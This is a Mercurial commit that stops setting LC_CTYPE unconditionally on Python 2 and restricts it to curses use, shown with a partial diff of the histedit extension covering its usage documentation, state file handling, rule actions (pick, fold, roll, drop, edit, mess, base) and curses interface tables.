pycompat: stop setting LC_CTYPE unconditionally

Changeset a25343d16ebe aimed to align how LC_CTYPE is initialized across Python
versions. However, as Yuya Nishihara pointed out, it changes the behavior of
some str methods on Python 2.

Curses requires that LC_CTYPE is initialized correctly. Therefore LC_CTYPE is
set while curses is used and reset afterwards. It shouldn’t be a problem that
some str methods behave differently on Python 2 while curses is used. At least
it’s not a regression compared to what was done before d2227d4c9e6b.

This again breaks non-ASCII filenames passed to the Subversion bindings on
Python 2. Since it didn’t work before a25343d16ebe, it’s however not really a
regression. A separate patch will be sent.

hgext/histedit.py

@@ -1,2640 +1,2641 b''
 # histedit.py - interactive history editing for mercurial
 #
 # Copyright 2009 Augie Fackler <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 """interactive history editing
 
 With this extension installed, Mercurial gains one new command: histedit. Usage
 is as follows, assuming the following history::
 
  @  3[tip]   7c2fd3b9020c   2009-04-27 18:04 -0500   durin42
  |    Add delta
  |
  o  2   030b686bedc4   2009-04-27 18:04 -0500   durin42
  |    Add gamma
  |
  o  1   c561b4e977df   2009-04-27 18:04 -0500   durin42
  |    Add beta
  |
  o  0   d8d2fcd0e319   2009-04-27 18:04 -0500   durin42
       Add alpha
 
 If you were to run ``hg histedit c561b4e977df``, you would see the following
 file open in your editor::
 
  pick c561b4e977df Add beta
  pick 030b686bedc4 Add gamma
  pick 7c2fd3b9020c Add delta
 
  # Edit history between c561b4e977df and 7c2fd3b9020c
  #
  # Commits are listed from least to most recent
  #
  # Commands:
  #  p, pick = use commit
  #  e, edit = use commit, but stop for amending
  #  f, fold = use commit, but combine it with the one above
  #  r, roll = like fold, but discard this commit's description and date
  #  d, drop = remove commit from history
  #  m, mess = edit commit message without changing commit content
  #  b, base = checkout changeset and apply further changesets from there
  #
 
 In this file, lines beginning with ``#`` are ignored. You must specify a rule
 for each revision in your history. For example, if you had meant to add gamma
 before beta, and then wanted to add delta in the same revision as beta, you
 would reorganize the file to look like this::
 
  pick 030b686bedc4 Add gamma
  pick c561b4e977df Add beta
  fold 7c2fd3b9020c Add delta
 
  # Edit history between c561b4e977df and 7c2fd3b9020c
  #
  # Commits are listed from least to most recent
  #
  # Commands:
  #  p, pick = use commit
  #  e, edit = use commit, but stop for amending
  #  f, fold = use commit, but combine it with the one above
  #  r, roll = like fold, but discard this commit's description and date
  #  d, drop = remove commit from history
  #  m, mess = edit commit message without changing commit content
  #  b, base = checkout changeset and apply further changesets from there
  #
 
 At which point you close the editor and ``histedit`` starts working. When you
 specify a ``fold`` operation, ``histedit`` will open an editor when it folds
 those revisions together, offering you a chance to clean up the commit message::
 
  Add beta
  ***
  Add delta
 
 Edit the commit message to your liking, then close the editor. The date used
 for the commit will be the later of the two commits' dates. For this example,
 let's assume that the commit message was changed to ``Add beta and delta.``
 After histedit has run and had a chance to remove any old or temporary
 revisions it needed, the history looks like this::
 
  @  2[tip]   989b4d060121   2009-04-27 18:04 -0500   durin42
  |    Add beta and delta.
  |
  o  1   081603921c3f   2009-04-27 18:04 -0500   durin42
  |    Add gamma
  |
  o  0   d8d2fcd0e319   2009-04-27 18:04 -0500   durin42
       Add alpha
 
 Note that ``histedit`` does *not* remove any revisions (even its own temporary
 ones) until after it has completed all the editing operations, so it will
 probably perform several strip operations when it's done. For the above example,
 it had to run strip twice. Strip can be slow depending on a variety of factors,
 so you might need to be a little patient. You can choose to keep the original
 revisions by passing the ``--keep`` flag.
 
 The ``edit`` operation will drop you back to a command prompt,
 allowing you to edit files freely, or even use ``hg record`` to commit
 some changes as a separate commit. When you're done, any remaining
 uncommitted changes will be committed as well. When done, run ``hg
 histedit --continue`` to finish this step. If there are uncommitted
 changes, you'll be prompted for a new commit message, but the default
 commit message will be the original message for the ``edit`` ed
 revision, and the date of the original commit will be preserved.
 
 The ``message`` operation will give you a chance to revise a commit
 message without changing the contents. It's a shortcut for doing
 ``edit`` immediately followed by `hg histedit --continue``.
 
 If ``histedit`` encounters a conflict when moving a revision (while
 handling ``pick`` or ``fold``), it'll stop in a similar manner to
 ``edit`` with the difference that it won't prompt you for a commit
 message when done. If you decide at this point that you don't like how
 much work it will be to rearrange history, or that you made a mistake,
 you can use ``hg histedit --abort`` to abandon the new changes you
 have made and return to the state before you attempted to edit your
 history.
 
 If we clone the histedit-ed example repository above and add four more
 changes, such that we have the following history::
 
    @  6[tip]   038383181893   2009-04-27 18:04 -0500   stefan
    |    Add theta
    |
    o  5   140988835471   2009-04-27 18:04 -0500   stefan
    |    Add eta
    |
    o  4   122930637314   2009-04-27 18:04 -0500   stefan
    |    Add zeta
    |
    o  3   836302820282   2009-04-27 18:04 -0500   stefan
    |    Add epsilon
    |
    o  2   989b4d060121   2009-04-27 18:04 -0500   durin42
    |    Add beta and delta.
    |
    o  1   081603921c3f   2009-04-27 18:04 -0500   durin42
    |    Add gamma
    |
    o  0   d8d2fcd0e319   2009-04-27 18:04 -0500   durin42
         Add alpha
 
 If you run ``hg histedit --outgoing`` on the clone then it is the same
 as running ``hg histedit 836302820282``. If you need plan to push to a
 repository that Mercurial does not detect to be related to the source
 repo, you can add a ``--force`` option.
 
 Config
 ------
 
 Histedit rule lines are truncated to 80 characters by default. You
 can customize this behavior by setting a different length in your
 configuration file::
 
   [histedit]
   linelen = 120      # truncate rule lines at 120 characters
 
 The summary of a change can be customized as well::
 
   [histedit]
   summary-template = '{rev} {bookmarks} {desc|firstline}'
 
 The customized summary should be kept short enough that rule lines
 will fit in the configured line length. See above if that requires
 customization.
 
 ``hg histedit`` attempts to automatically choose an appropriate base
 revision to use. To change which base revision is used, define a
 revset in your configuration file::
 
   [histedit]
   defaultrev = only(.) & draft()
 
 By default each edited revision needs to be present in histedit commands.
 To remove revision you need to use ``drop`` operation. You can configure
 the drop to be implicit for missing commits by adding::
 
   [histedit]
   dropmissing = True
 
 By default, histedit will close the transaction after each action. For
 performance purposes, you can configure histedit to use a single transaction
 across the entire histedit. WARNING: This setting introduces a significant risk
 of losing the work you've done in a histedit if the histedit aborts
 unexpectedly::
 
   [histedit]
   singletransaction = True
 
 """
 
 from __future__ import absolute_import
 
 # chistedit dependencies that are not available everywhere
 try:
     import fcntl
     import termios
 except ImportError:
     fcntl = None
     termios = None
 
 import functools
 import os
 import struct
 
 from mercurial.i18n import _
 from mercurial.pycompat import (
     getattr,
     open,
 )
 from mercurial import (
     bundle2,
     cmdutil,
     context,
     copies,
     destutil,
     discovery,
     encoding,
     error,
     exchange,
     extensions,
     hg,
     logcmdutil,
     merge as mergemod,
     mergestate as mergestatemod,
     mergeutil,
     node,
     obsolete,
     pycompat,
     registrar,
     repair,
     rewriteutil,
     scmutil,
     state as statemod,
     util,
 )
 from mercurial.utils import (
     dateutil,
     stringutil,
 )
 
 pickle = util.pickle
 cmdtable = {}
 command = registrar.command(cmdtable)
 
 configtable = {}
 configitem = registrar.configitem(configtable)
 configitem(
     b'experimental', b'histedit.autoverb', default=False,
 )
 configitem(
     b'histedit', b'defaultrev', default=None,
 )
 configitem(
     b'histedit', b'dropmissing', default=False,
 )
 configitem(
     b'histedit', b'linelen', default=80,
 )
 configitem(
     b'histedit', b'singletransaction', default=False,
 )
 configitem(
     b'ui', b'interface.histedit', default=None,
 )
 configitem(b'histedit', b'summary-template', default=b'{rev} {desc|firstline}')
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
 # leave the attribute unspecified.
 testedwith = b'ships-with-hg-core'
 
 actiontable = {}
 primaryactions = set()
 secondaryactions = set()
 tertiaryactions = set()
 internalactions = set()
 
 
 def geteditcomment(ui, first, last):
     """ construct the editor comment
     The comment includes::
      - an intro
      - sorted primary commands
      - sorted short commands
      - sorted long commands
      - additional hints
 
     Commands are only included once.
     """
     intro = _(
         b"""Edit history between %s and %s
 
 Commits are listed from least to most recent
 
 You can reorder changesets by reordering the lines
 
 Commands:
 """
     )
     actions = []
 
     def addverb(v):
         a = actiontable[v]
         lines = a.message.split(b"\n")
         if len(a.verbs):
             v = b', '.join(sorted(a.verbs, key=lambda v: len(v)))
         actions.append(b" %s = %s" % (v, lines[0]))
         actions.extend([b'  %s'] * (len(lines) - 1))
 
     for v in (
         sorted(primaryactions)
         + sorted(secondaryactions)
         + sorted(tertiaryactions)
     ):
         addverb(v)
     actions.append(b'')
 
     hints = []
     if ui.configbool(b'histedit', b'dropmissing'):
         hints.append(
             b"Deleting a changeset from the list "
             b"will DISCARD it from the edited history!"
         )
 
     lines = (intro % (first, last)).split(b'\n') + actions + hints
 
     return b''.join([b'# %s\n' % l if l else b'#\n' for l in lines])
 
 
 class histeditstate(object):
     def __init__(self, repo):
         self.repo = repo
         self.actions = None
         self.keep = None
         self.topmost = None
         self.parentctxnode = None
         self.lock = None
         self.wlock = None
         self.backupfile = None
         self.stateobj = statemod.cmdstate(repo, b'histedit-state')
         self.replacements = []
 
     def read(self):
         """Load histedit state from disk and set fields appropriately."""
         if not self.stateobj.exists():
             cmdutil.wrongtooltocontinue(self.repo, _(b'histedit'))
 
         data = self._read()
 
         self.parentctxnode = data[b'parentctxnode']
         actions = parserules(data[b'rules'], self)
         self.actions = actions
         self.keep = data[b'keep']
         self.topmost = data[b'topmost']
         self.replacements = data[b'replacements']
         self.backupfile = data[b'backupfile']
 
     def _read(self):
         fp = self.repo.vfs.read(b'histedit-state')
         if fp.startswith(b'v1\n'):
             data = self._load()
             parentctxnode, rules, keep, topmost, replacements, backupfile = data
         else:
             data = pickle.loads(fp)
             parentctxnode, rules, keep, topmost, replacements = data
             backupfile = None
         rules = b"\n".join([b"%s %s" % (verb, rest) for [verb, rest] in rules])
 
         return {
             b'parentctxnode': parentctxnode,
             b"rules": rules,
             b"keep": keep,
             b"topmost": topmost,
             b"replacements": replacements,
             b"backupfile": backupfile,
         }
 
     def write(self, tr=None):
         if tr:
             tr.addfilegenerator(
                 b'histedit-state',
                 (b'histedit-state',),
                 self._write,
                 location=b'plain',
             )
         else:
             with self.repo.vfs(b"histedit-state", b"w") as f:
                 self._write(f)
 
     def _write(self, fp):
         fp.write(b'v1\n')
         fp.write(b'%s\n' % node.hex(self.parentctxnode))
         fp.write(b'%s\n' % node.hex(self.topmost))
         fp.write(b'%s\n' % (b'True' if self.keep else b'False'))
         fp.write(b'%d\n' % len(self.actions))
         for action in self.actions:
             fp.write(b'%s\n' % action.tostate())
         fp.write(b'%d\n' % len(self.replacements))
         for replacement in self.replacements:
             fp.write(
                 b'%s%s\n'
                 % (
                     node.hex(replacement[0]),
                     b''.join(node.hex(r) for r in replacement[1]),
                 )
             )
         backupfile = self.backupfile
         if not backupfile:
             backupfile = b''
         fp.write(b'%s\n' % backupfile)
 
     def _load(self):
         fp = self.repo.vfs(b'histedit-state', b'r')
         lines = [l[:-1] for l in fp.readlines()]
 
         index = 0
         lines[index]  # version number
         index += 1
 
         parentctxnode = node.bin(lines[index])
         index += 1
 
         topmost = node.bin(lines[index])
         index += 1
 
         keep = lines[index] == b'True'
         index += 1
 
         # Rules
         rules = []
         rulelen = int(lines[index])
         index += 1
         for i in pycompat.xrange(rulelen):
             ruleaction = lines[index]
             index += 1
             rule = lines[index]
             index += 1
             rules.append((ruleaction, rule))
 
         # Replacements
         replacements = []
         replacementlen = int(lines[index])
         index += 1
         for i in pycompat.xrange(replacementlen):
             replacement = lines[index]
             original = node.bin(replacement[:40])
             succ = [
                 node.bin(replacement[i : i + 40])
                 for i in range(40, len(replacement), 40)
             ]
             replacements.append((original, succ))
             index += 1
 
         backupfile = lines[index]
         index += 1
 
         fp.close()
 
         return parentctxnode, rules, keep, topmost, replacements, backupfile
 
     def clear(self):
         if self.inprogress():
             self.repo.vfs.unlink(b'histedit-state')
 
     def inprogress(self):
         return self.repo.vfs.exists(b'histedit-state')
 
 
 class histeditaction(object):
     def __init__(self, state, node):
         self.state = state
         self.repo = state.repo
         self.node = node
 
     @classmethod
     def fromrule(cls, state, rule):
         """Parses the given rule, returning an instance of the histeditaction.
         """
         ruleid = rule.strip().split(b' ', 1)[0]
         # ruleid can be anything from rev numbers, hashes, "bookmarks" etc
         # Check for validation of rule ids and get the rulehash
         try:
             rev = node.bin(ruleid)
         except TypeError:
             try:
                 _ctx = scmutil.revsingle(state.repo, ruleid)
                 rulehash = _ctx.hex()
                 rev = node.bin(rulehash)
             except error.RepoLookupError:
                 raise error.ParseError(_(b"invalid changeset %s") % ruleid)
         return cls(state, rev)
 
     def verify(self, prev, expected, seen):
         """ Verifies semantic correctness of the rule"""
         repo = self.repo
         ha = node.hex(self.node)
         self.node = scmutil.resolvehexnodeidprefix(repo, ha)
         if self.node is None:
             raise error.ParseError(_(b'unknown changeset %s listed') % ha[:12])
         self._verifynodeconstraints(prev, expected, seen)
 
     def _verifynodeconstraints(self, prev, expected, seen):
         # by default command need a node in the edited list
         if self.node not in expected:
             raise error.ParseError(
                 _(b'%s "%s" changeset was not a candidate')
                 % (self.verb, node.short(self.node)),
                 hint=_(b'only use listed changesets'),
             )
         # and only one command per node
         if self.node in seen:
             raise error.ParseError(
                 _(b'duplicated command for changeset %s')
                 % node.short(self.node)
             )
 
     def torule(self):
         """build a histedit rule line for an action
 
         by default lines are in the form:
         <hash> <rev> <summary>
         """
         ctx = self.repo[self.node]
         ui = self.repo.ui
         summary = (
             cmdutil.rendertemplate(
                 ctx, ui.config(b'histedit', b'summary-template')
             )
             or b''
         )
         summary = summary.splitlines()[0]
         line = b'%s %s %s' % (self.verb, ctx, summary)
         # trim to 75 columns by default so it's not stupidly wide in my editor
         # (the 5 more are left for verb)
         maxlen = self.repo.ui.configint(b'histedit', b'linelen')
         maxlen = max(maxlen, 22)  # avoid truncating hash
         return stringutil.ellipsis(line, maxlen)
 
     def tostate(self):
         """Print an action in format used by histedit state files
            (the first line is a verb, the remainder is the second)
         """
         return b"%s\n%s" % (self.verb, node.hex(self.node))
 
     def run(self):
         """Runs the action. The default behavior is simply apply the action's
         rulectx onto the current parentctx."""
         self.applychange()
         self.continuedirty()
         return self.continueclean()
 
     def applychange(self):
         """Applies the changes from this action's rulectx onto the current
         parentctx, but does not commit them."""
         repo = self.repo
         rulectx = repo[self.node]
         repo.ui.pushbuffer(error=True, labeled=True)
         hg.update(repo, self.state.parentctxnode, quietempty=True)
         repo.ui.popbuffer()
         stats = applychanges(repo.ui, repo, rulectx, {})
         repo.dirstate.setbranch(rulectx.branch())
         if stats.unresolvedcount:
             raise error.InterventionRequired(
                 _(b'Fix up the change (%s %s)')
                 % (self.verb, node.short(self.node)),
                 hint=_(b'hg histedit --continue to resume'),
             )
 
     def continuedirty(self):
         """Continues the action when changes have been applied to the working
         copy. The default behavior is to commit the dirty changes."""
         repo = self.repo
         rulectx = repo[self.node]
 
         editor = self.commiteditor()
         commit = commitfuncfor(repo, rulectx)
         if repo.ui.configbool(b'rewrite', b'update-timestamp'):
             date = dateutil.makedate()
         else:
             date = rulectx.date()
         commit(
             text=rulectx.description(),
             user=rulectx.user(),
             date=date,
             extra=rulectx.extra(),
             editor=editor,
         )
 
     def commiteditor(self):
         """The editor to be used to edit the commit message."""
         return False
 
     def continueclean(self):
         """Continues the action when the working copy is clean. The default
         behavior is to accept the current commit as the new version of the
         rulectx."""
         ctx = self.repo[b'.']
         if ctx.node() == self.state.parentctxnode:
             self.repo.ui.warn(
                 _(b'%s: skipping changeset (no changes)\n')
                 % node.short(self.node)
             )
             return ctx, [(self.node, tuple())]
         if ctx.node() == self.node:
             # Nothing changed
             return ctx, []
         return ctx, [(self.node, (ctx.node(),))]
 
 
 def commitfuncfor(repo, src):
     """Build a commit function for the replacement of <src>
 
     This function ensure we apply the same treatment to all changesets.
 
     - Add a 'histedit_source' entry in extra.
 
     Note that fold has its own separated logic because its handling is a bit
     different and not easily factored out of the fold method.
     """
     phasemin = src.phase()
 
     def commitfunc(**kwargs):
         overrides = {(b'phases', b'new-commit'): phasemin}
         with repo.ui.configoverride(overrides, b'histedit'):
             extra = kwargs.get('extra', {}).copy()
             extra[b'histedit_source'] = src.hex()
             kwargs['extra'] = extra
             return repo.commit(**kwargs)
 
     return commitfunc
 
 
 def applychanges(ui, repo, ctx, opts):
     """Merge changeset from ctx (only) in the current working directory"""
     wcpar = repo.dirstate.p1()
     if ctx.p1().node() == wcpar:
         # edits are "in place" we do not need to make any merge,
         # just applies changes on parent for editing
         ui.pushbuffer()
         cmdutil.revert(ui, repo, ctx, (wcpar, node.nullid), all=True)
         stats = mergemod.updateresult(0, 0, 0, 0)
         ui.popbuffer()
     else:
         try:
             # ui.forcemerge is an internal variable, do not document
             repo.ui.setconfig(
                 b'ui', b'forcemerge', opts.get(b'tool', b''), b'histedit'
             )
             stats = mergemod.graft(repo, ctx, labels=[b'local', b'histedit'])
         finally:
             repo.ui.setconfig(b'ui', b'forcemerge', b'', b'histedit')
     return stats
 
 
 def collapse(repo, firstctx, lastctx, commitopts, skipprompt=False):
     """collapse the set of revisions from first to last as new one.
 
     Expected commit options are:
         - message
         - date
         - username
     Commit message is edited in all cases.
 
     This function works in memory."""
     ctxs = list(repo.set(b'%d::%d', firstctx.rev(), lastctx.rev()))
     if not ctxs:
         return None
     for c in ctxs:
         if not c.mutable():
             raise error.ParseError(
                 _(b"cannot fold into public change %s") % node.short(c.node())
             )
     base = firstctx.p1()
 
     # commit a new version of the old changeset, including the update
     # collect all files which might be affected
     files = set()
     for ctx in ctxs:
         files.update(ctx.files())
 
     # Recompute copies (avoid recording a -> b -> a)
     copied = copies.pathcopies(base, lastctx)
 
     # prune files which were reverted by the updates
     files = [f for f in files if not cmdutil.samefile(f, lastctx, base)]
     # commit version of these files as defined by head
     headmf = lastctx.manifest()
 
     def filectxfn(repo, ctx, path):
         if path in headmf:
             fctx = lastctx[path]
             flags = fctx.flags()
             mctx = context.memfilectx(
                 repo,
                 ctx,
                 fctx.path(),
                 fctx.data(),
                 islink=b'l' in flags,
                 isexec=b'x' in flags,
                 copysource=copied.get(path),
             )
             return mctx
         return None
 
     if commitopts.get(b'message'):
         message = commitopts[b'message']
     else:
         message = firstctx.description()
     user = commitopts.get(b'user')
     date = commitopts.get(b'date')
     extra = commitopts.get(b'extra')
 
     parents = (firstctx.p1().node(), firstctx.p2().node())
     editor = None
     if not skipprompt:
         editor = cmdutil.getcommiteditor(edit=True, editform=b'histedit.fold')
     new = context.memctx(
         repo,
         parents=parents,
         text=message,
         files=files,
         filectxfn=filectxfn,
         user=user,
         date=date,
         extra=extra,
         editor=editor,
     )
     return repo.commitctx(new)
 
 
 def _isdirtywc(repo):
     return repo[None].dirty(missing=True)
 
 
 def abortdirty():
     raise error.Abort(
         _(b'working copy has pending changes'),
         hint=_(
             b'amend, commit, or revert them and run histedit '
             b'--continue, or abort with histedit --abort'
         ),
     )
 
 
 def action(verbs, message, priority=False, internal=False):
     def wrap(cls):
         assert not priority or not internal
         verb = verbs[0]
         if priority:
             primaryactions.add(verb)
         elif internal:
             internalactions.add(verb)
         elif len(verbs) > 1:
             secondaryactions.add(verb)
         else:
             tertiaryactions.add(verb)
 
         cls.verb = verb
         cls.verbs = verbs
         cls.message = message
         for verb in verbs:
             actiontable[verb] = cls
         return cls
 
     return wrap
 
 
 @action([b'pick', b'p'], _(b'use commit'), priority=True)
 class pick(histeditaction):
     def run(self):
         rulectx = self.repo[self.node]
         if rulectx.p1().node() == self.state.parentctxnode:
             self.repo.ui.debug(b'node %s unchanged\n' % node.short(self.node))
             return rulectx, []
 
         return super(pick, self).run()
 
 
 @action([b'edit', b'e'], _(b'use commit, but stop for amending'), priority=True)
 class edit(histeditaction):
     def run(self):
         repo = self.repo
         rulectx = repo[self.node]
         hg.update(repo, self.state.parentctxnode, quietempty=True)
         applychanges(repo.ui, repo, rulectx, {})
         raise error.InterventionRequired(
             _(b'Editing (%s), you may commit or record as needed now.')
             % node.short(self.node),
             hint=_(b'hg histedit --continue to resume'),
         )
 
     def commiteditor(self):
         return cmdutil.getcommiteditor(edit=True, editform=b'histedit.edit')
 
 
 @action([b'fold', b'f'], _(b'use commit, but combine it with the one above'))
 class fold(histeditaction):
     def verify(self, prev, expected, seen):
         """ Verifies semantic correctness of the fold rule"""
         super(fold, self).verify(prev, expected, seen)
         repo = self.repo
         if not prev:
             c = repo[self.node].p1()
         elif not prev.verb in (b'pick', b'base'):
             return
         else:
             c = repo[prev.node]
         if not c.mutable():
             raise error.ParseError(
                 _(b"cannot fold into public change %s") % node.short(c.node())
             )
 
     def continuedirty(self):
         repo = self.repo
         rulectx = repo[self.node]
 
         commit = commitfuncfor(repo, rulectx)
         commit(
             text=b'fold-temp-revision %s' % node.short(self.node),
             user=rulectx.user(),
             date=rulectx.date(),
             extra=rulectx.extra(),
         )
 
     def continueclean(self):
         repo = self.repo
         ctx = repo[b'.']
         rulectx = repo[self.node]
         parentctxnode = self.state.parentctxnode
         if ctx.node() == parentctxnode:
             repo.ui.warn(_(b'%s: empty changeset\n') % node.short(self.node))
             return ctx, [(self.node, (parentctxnode,))]
 
         parentctx = repo[parentctxnode]
         newcommits = {
             c.node()
             for c in repo.set(b'(%d::. - %d)', parentctx.rev(), parentctx.rev())
         }
         if not newcommits:
             repo.ui.warn(
                 _(
                     b'%s: cannot fold - working copy is not a '
                     b'descendant of previous commit %s\n'
                 )
                 % (node.short(self.node), node.short(parentctxnode))
             )
             return ctx, [(self.node, (ctx.node(),))]
 
         middlecommits = newcommits.copy()
         middlecommits.discard(ctx.node())
 
         return self.finishfold(
             repo.ui, repo, parentctx, rulectx, ctx.node(), middlecommits
         )
 
     def skipprompt(self):
         """Returns true if the rule should skip the message editor.
 
         For example, 'fold' wants to show an editor, but 'rollup'
         doesn't want to.
         """
         return False
 
     def mergedescs(self):
         """Returns true if the rule should merge messages of multiple changes.
 
         This exists mainly so that 'rollup' rules can be a subclass of
         'fold'.
         """
         return True
 
     def firstdate(self):
         """Returns true if the rule should preserve the date of the first
         change.
 
         This exists mainly so that 'rollup' rules can be a subclass of
         'fold'.
         """
         return False
 
     def finishfold(self, ui, repo, ctx, oldctx, newnode, internalchanges):
         parent = ctx.p1().node()
         hg.updaterepo(repo, parent, overwrite=False)
         ### prepare new commit data
         commitopts = {}
         commitopts[b'user'] = ctx.user()
         # commit message
         if not self.mergedescs():
             newmessage = ctx.description()
         else:
             newmessage = (
                 b'\n***\n'.join(
                     [ctx.description()]
                     + [repo[r].description() for r in internalchanges]
                     + [oldctx.description()]
                 )
                 + b'\n'
             )
         commitopts[b'message'] = newmessage
         # date
         if self.firstdate():
             commitopts[b'date'] = ctx.date()
         else:
             commitopts[b'date'] = max(ctx.date(), oldctx.date())
         # if date is to be updated to current
         if ui.configbool(b'rewrite', b'update-timestamp'):
             commitopts[b'date'] = dateutil.makedate()
 
         extra = ctx.extra().copy()
         # histedit_source
         # note: ctx is likely a temporary commit but that the best we can do
         #       here. This is sufficient to solve issue3681 anyway.
         extra[b'histedit_source'] = b'%s,%s' % (ctx.hex(), oldctx.hex())
         commitopts[b'extra'] = extra
         phasemin = max(ctx.phase(), oldctx.phase())
         overrides = {(b'phases', b'new-commit'): phasemin}
         with repo.ui.configoverride(overrides, b'histedit'):
             n = collapse(
                 repo,
                 ctx,
                 repo[newnode],
                 commitopts,
                 skipprompt=self.skipprompt(),
             )
         if n is None:
             return ctx, []
         hg.updaterepo(repo, n, overwrite=False)
         replacements = [
             (oldctx.node(), (newnode,)),
             (ctx.node(), (n,)),
             (newnode, (n,)),
         ]
         for ich in internalchanges:
             replacements.append((ich, (n,)))
         return repo[n], replacements
 
 
 @action(
     [b'base', b'b'],
     _(b'checkout changeset and apply further changesets from there'),
 )
 class base(histeditaction):
     def run(self):
         if self.repo[b'.'].node() != self.node:
             mergemod.clean_update(self.repo[self.node])
         return self.continueclean()
 
     def continuedirty(self):
         abortdirty()
 
     def continueclean(self):
         basectx = self.repo[b'.']
         return basectx, []
 
     def _verifynodeconstraints(self, prev, expected, seen):
         # base can only be use with a node not in the edited set
         if self.node in expected:
             msg = _(b'%s "%s" changeset was an edited list candidate')
             raise error.ParseError(
                 msg % (self.verb, node.short(self.node)),
                 hint=_(b'base must only use unlisted changesets'),
             )
 
 
 @action(
     [b'_multifold'],
     _(
         """fold subclass used for when multiple folds happen in a row
 
     We only want to fire the editor for the folded message once when
     (say) four changes are folded down into a single change. This is
     similar to rollup, but we should preserve both messages so that
     when the last fold operation runs we can show the user all the
     commit messages in their editor.
     """
     ),
     internal=True,
 )
 class _multifold(fold):
     def skipprompt(self):
         return True
 
 
 @action(
     [b"roll", b"r"],
     _(b"like fold, but discard this commit's description and date"),
 )
 class rollup(fold):
     def mergedescs(self):
         return False
 
     def skipprompt(self):
         return True
 
     def firstdate(self):
         return True
 
 
 @action([b"drop", b"d"], _(b'remove commit from history'))
 class drop(histeditaction):
     def run(self):
         parentctx = self.repo[self.state.parentctxnode]
         return parentctx, [(self.node, tuple())]
 
 
 @action(
     [b"mess", b"m"],
     _(b'edit commit message without changing commit content'),
     priority=True,
 )
 class message(histeditaction):
     def commiteditor(self):
         return cmdutil.getcommiteditor(edit=True, editform=b'histedit.mess')
 
 
 def findoutgoing(ui, repo, remote=None, force=False, opts=None):
     """utility function to find the first outgoing changeset
 
     Used by initialization code"""
     if opts is None:
         opts = {}
     dest = ui.expandpath(remote or b'default-push', remote or b'default')
     dest, branches = hg.parseurl(dest, None)[:2]
     ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
 
     revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
     other = hg.peer(repo, opts, dest)
 
     if revs:
         revs = [repo.lookup(rev) for rev in revs]
 
     outgoing = discovery.findcommonoutgoing(repo, other, revs, force=force)
     if not outgoing.missing:
         raise error.Abort(_(b'no outgoing ancestors'))
     roots = list(repo.revs(b"roots(%ln)", outgoing.missing))
     if len(roots) > 1:
         msg = _(b'there are ambiguous outgoing revisions')
         hint = _(b"see 'hg help histedit' for more detail")
         raise error.Abort(msg, hint=hint)
     return repo[roots[0]].node()
 
 
 # Curses Support
 try:
     import curses
 except ImportError:
     curses = None
 
 KEY_LIST = [b'pick', b'edit', b'fold', b'drop', b'mess', b'roll']
 ACTION_LABELS = {
     b'fold': b'^fold',
     b'roll': b'^roll',
 }
 
 COLOR_HELP, COLOR_SELECTED, COLOR_OK, COLOR_WARN, COLOR_CURRENT = 1, 2, 3, 4, 5
 COLOR_DIFF_ADD_LINE, COLOR_DIFF_DEL_LINE, COLOR_DIFF_OFFSET = 6, 7, 8
 COLOR_ROLL, COLOR_ROLL_CURRENT, COLOR_ROLL_SELECTED = 9, 10, 11
 
 E_QUIT, E_HISTEDIT = 1, 2
 E_PAGEDOWN, E_PAGEUP, E_LINEUP, E_LINEDOWN, E_RESIZE = 3, 4, 5, 6, 7
 MODE_INIT, MODE_PATCH, MODE_RULES, MODE_HELP = 0, 1, 2, 3
 
 KEYTABLE = {
     b'global': {
         b'h': b'next-action',
         b'KEY_RIGHT': b'next-action',
         b'l': b'prev-action',
         b'KEY_LEFT': b'prev-action',
         b'q': b'quit',
         b'c': b'histedit',
         b'C': b'histedit',
         b'v': b'showpatch',
         b'?': b'help',
     },
     MODE_RULES: {
         b'd': b'action-drop',
         b'e': b'action-edit',
         b'f': b'action-fold',
         b'm': b'action-mess',
         b'p': b'action-pick',
         b'r': b'action-roll',
         b' ': b'select',
         b'j': b'down',
         b'k': b'up',
         b'KEY_DOWN': b'down',
         b'KEY_UP': b'up',
         b'J': b'move-down',
         b'K': b'move-up',
         b'KEY_NPAGE': b'move-down',
         b'KEY_PPAGE': b'move-up',
         b'0': b'goto',  # Used for 0..9
     },
     MODE_PATCH: {
         b' ': b'page-down',
         b'KEY_NPAGE': b'page-down',
         b'KEY_PPAGE': b'page-up',
         b'j': b'line-down',
         b'k': b'line-up',
         b'KEY_DOWN': b'line-down',
         b'KEY_UP': b'line-up',
         b'J': b'down',
         b'K': b'up',
     },
     MODE_HELP: {},
 }
 
 
 def screen_size():
     return struct.unpack(b'hh', fcntl.ioctl(1, termios.TIOCGWINSZ, b'    '))
 
 
 class histeditrule(object):
     def __init__(self, ui, ctx, pos, action=b'pick'):
         self.ui = ui
         self.ctx = ctx
         self.action = action
         self.origpos = pos
         self.pos = pos
         self.conflicts = []
 
     def __bytes__(self):
         # Example display of several histeditrules:
         #
         #  #10 pick   316392:06a16c25c053   add option to skip tests
         #  #11 ^roll  316393:71313c964cc5   <RED>oops a fixup commit</RED>
         #  #12 pick   316394:ab31f3973b0d   include mfbt for mozilla-config.h
         #  #13 ^fold  316395:14ce5803f4c3   fix warnings
         #
         # The carets point to the changeset being folded into ("roll this
         # changeset into the changeset above").
         return b'%s%s' % (self.prefix, self.desc)
 
     __str__ = encoding.strmethod(__bytes__)
 
     @property
     def prefix(self):
         # Some actions ('fold' and 'roll') combine a patch with a
         # previous one. Add a marker showing which patch they apply
         # to.
         action = ACTION_LABELS.get(self.action, self.action)
 
         h = self.ctx.hex()[0:12]
         r = self.ctx.rev()
 
         return b"#%s %s %d:%s   " % (
             (b'%d' % self.origpos).ljust(2),
             action.ljust(6),
             r,
             h,
         )
 
     @property
     def desc(self):
         summary = (
             cmdutil.rendertemplate(
                 self.ctx, self.ui.config(b'histedit', b'summary-template')
             )
             or b''
         )
         if summary:
             return summary
         # This is split off from the prefix property so that we can
         # separately make the description for 'roll' red (since it
         # will get discarded).
         return self.ctx.description().splitlines()[0].strip()
 
     def checkconflicts(self, other):
         if other.pos > self.pos and other.origpos <= self.origpos:
             if set(other.ctx.files()) & set(self.ctx.files()) != set():
                 self.conflicts.append(other)
                 return self.conflicts
 
         if other in self.conflicts:
             self.conflicts.remove(other)
         return self.conflicts
 
 
 # ============ EVENTS ===============
